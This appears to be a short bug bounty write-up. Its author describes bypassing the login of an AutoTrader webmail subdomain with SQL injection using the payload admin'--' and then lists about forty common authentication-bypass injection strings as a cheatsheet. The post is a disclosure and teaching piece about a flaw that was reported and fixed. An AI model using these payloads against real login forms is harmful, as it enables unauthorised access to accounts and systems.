Authentication Bypass Using SQL Injection AutoTrader Webmail - Bug Bounty POC

Hey guys Me again with a Short POC about Login Bypass Using SQL Injection to get Access to AutoTraders Webmail so lets begain the POC will be short.

What happened was i was working on AutoTraders Bug Bounty Program and had reported a couple of issues but all were Duplicate so i was checking subdomains when i landed on a subdomain that was https://dealeremail.autotrader.co.uk/ and this subdomain had a Login page

So i Tried Multiple login using different Usernames and Passwords But none of them worked so Following the testing for SQLi I entered a 1’’ in Username Field and an Error Occurred that was something like
SELECT * FROM adm WHERE the Error was Long and had the SQL Query that the login page function was using

So Next Phase i used the Most Common Injection String in Username and Password fields and BOOM 💥 I was into the Admin Panel The String I used was admin’–‘ for Username and same admin’–’ For The Password

That’s All for this Short POC :) But I’m adding some common Strings that can be useful for you guys while testing for such issues

SQLi Auth Bypass Common Cheatsheet

or 1=1
or 1=1–
or 1=1#
or 1=1/*
admin” or “1”=“1”–
admin” or “1”=“1”#
admin” or “1”=“1”/*
admin“or 1=1 or “”=”
admin” or 1=1
admin” or 1=1–
admin” or 1=1#
admin” or 1=1/*
admin”) or (“1”=“1
admin”) or (“1”=“1”–
admin”) or (“1”=“1”#
admin”) or (“1”=“1”/*
admin”) or “1”=“1
admin”) or “1”=“1”–
admin”) or “1”=“1”#
admin”) or “1”=“1”/*
admin’ –
admin’ #
admin’/*
admin’ or ‘1’=‘1
admin’ or ‘1’=‘1’–
admin’ or ‘1’=‘1’#
admin’ or ‘1’=‘1’/*
admin’or 1=1 or ‘’=’
admin’ or 1=1
admin’ or 1=1–
admin’ or 1=1#
admin’ or 1=1/*
admin’) or (‘1’=‘1
admin’) or (‘1’=‘1’–
admin’) or (‘1’=‘1’#
admin’) or (‘1’=‘1’/*
admin’) or ‘1’=‘1
admin’) or ‘1’=‘1’–
admin’) or ‘1’=‘1’#
admin’) or ‘1’=‘1’/*

So the End I reported the issue it was migrated urgently and all i got was This Swag Pack ( It was indeed Useful )

Thanks for Reading guys! :)